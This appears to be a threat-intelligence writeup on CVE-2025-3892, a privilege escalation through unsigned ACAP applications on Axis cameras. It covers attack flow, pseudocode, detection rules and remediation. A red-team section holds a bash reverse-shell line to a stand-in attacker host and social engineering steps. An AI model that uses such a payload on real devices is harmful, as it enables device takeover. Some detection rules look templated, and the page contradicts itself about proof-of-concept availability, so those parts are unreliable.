CVE-2025-3892
Executive Summary
CVE-2025-3892 is a privilege escalation vulnerability affecting Axis devices that allow installation of unsigned ACAP (Axis Camera Application Platform) applications. The flaw enables malicious ACAP applications to execute with elevated privileges, potentially granting an attacker full control over the device. Exploitation requires the victim to manually install a malicious ACAP application, and the device must be configured to allow unsigned ACAP installations. The CVSS score is 6.7 (Medium), and no public proof-of-concept or patch is currently available. This vulnerability is particularly concerning for organizations using Axis cameras in sensitive environments, as it could lead to unauthorized access, data exfiltration, or lateral movement within the network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.7 (Medium)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires physical or remote access to install the ACAP)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must install the malicious ACAP)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Medium. Exploitation requires social engineering and a specific device configuration, but the impact is severe if successful.
Deep Dive & Mechanics
The vulnerability lies in the ACAP application execution environment on Axis devices. ACAP applications are designed to run with limited privileges, but due to improper privilege separation, unsigned ACAPs can be executed with elevated (root) privileges. This occurs because the device’s application sandbox does not properly enforce privilege boundaries when the device is configured to allow unsigned ACAP installations.
Attack Flow:
- The attacker crafts a malicious ACAP application that contains code to escalate privileges.
- The attacker convinces the victim (e.g., via phishing or physical access) to install the unsigned ACAP on the Axis device.
- The device executes the ACAP with elevated privileges, allowing the attacker to execute arbitrary commands, access sensitive data, or modify device settings.
- The attacker can then pivot to other network resources or maintain persistence.
Root Cause: The ACAP installation and execution process does not validate the signing status of the application before assigning privileges. When unsigned installations are allowed, the system grants the same privileges as signed applications, bypassing security controls.
Vulnerable vs. Patched Code
No specific code snippets are available due to the lack of public patches or proof-of-concept. However, the vulnerable behavior can be described:
Vulnerable (pseudocode):
if (device_config.allow_unsigned_acap) {
// No privilege check
execute_acap(malicious_app, PRIVILEGE_HIGH);
}
Patched (expected):
if (device_config.allow_unsigned_acap) {
// Enforce sandbox
execute_acap(malicious_app, PRIVILEGE_LOW);
}
The patch would likely enforce a strict sandbox for unsigned ACAPs, limiting their privileges to the minimum required.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Axis device with unsigned ACAP installation enabled.
- Victim interaction to install the malicious ACAP.
Steps:
- Create a malicious ACAP application with embedded payload (e.g., reverse shell).
- Host the ACAP on a web server or deliver via USB.
- Social engineer the victim to install the ACAP on the Axis device.
- Once installed, the ACAP executes with elevated privileges, granting a root shell.
Example payload (conceptual):
#!/bin/bash
# Reverse shell to attacker
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Lab Setup:
- Use a virtualized Axis device (e.g., via QEMU) or a physical test device.
- Enable unsigned ACAP installation in device settings.
- Deploy the malicious ACAP and monitor execution.
Blue Team
Detection:
- Monitor for installation of unsigned ACAPs via device logs.
- Use network monitoring to detect unusual outbound connections from Axis devices.
- Implement application whitelisting to only allow signed ACAPs.
Prevention:
- Disable unsigned ACAP installation on all Axis devices.
- Enforce strict access controls to device management interfaces.
- Educate users on social engineering risks.
Indicators of Compromise (IOCs)
- File Hashes: Unknown (no public samples)
- Network Indicators: Outbound connections from Axis device to unknown IPs on high ports (e.g., 4444).
- Device Logs: Installation of unsigned ACAP applications; execution of processes with elevated privileges.
- Registry/Config Changes: Modification of device configuration to allow unsigned ACAPs.
Detection Engineering
YARA Rule
rule axis_acap_unsigned_privilege_escalation {
meta:
description = "Detects malicious ACAP applications exploiting CVE-2025-3892"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "unsigned" ascii wide nocase
$s2 = "ACAP" ascii wide nocase
$s3 = "privilege" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Axis ACAP Unsigned Installation Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects installation of unsigned ACAP applications on Axis devices
logsource:
product: axis
service: device_logs
detection:
selection:
EventID: 1001
Message: "*unsigned ACAP installed*"
condition: selection
falsepositives:
- Legitimate unsigned ACAP installations
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Axis ACAP Privilege Escalation - Outbound Connection"; flow:to_server; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable unsigned ACAP installation on all Axis devices via device configuration.
- Review all installed ACAP applications and remove any that are unsigned or from untrusted sources.
- Implement network segmentation to isolate Axis devices from critical systems.
Long-Term Fix:
- Apply vendor patch when available (currently UNKNOWN).
- Enable automatic updates for Axis devices.
- Use signed ACAPs only from trusted sources.
Workaround:
- If unsigned ACAPs are required, use a dedicated management VLAN and restrict access to authorized personnel only.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.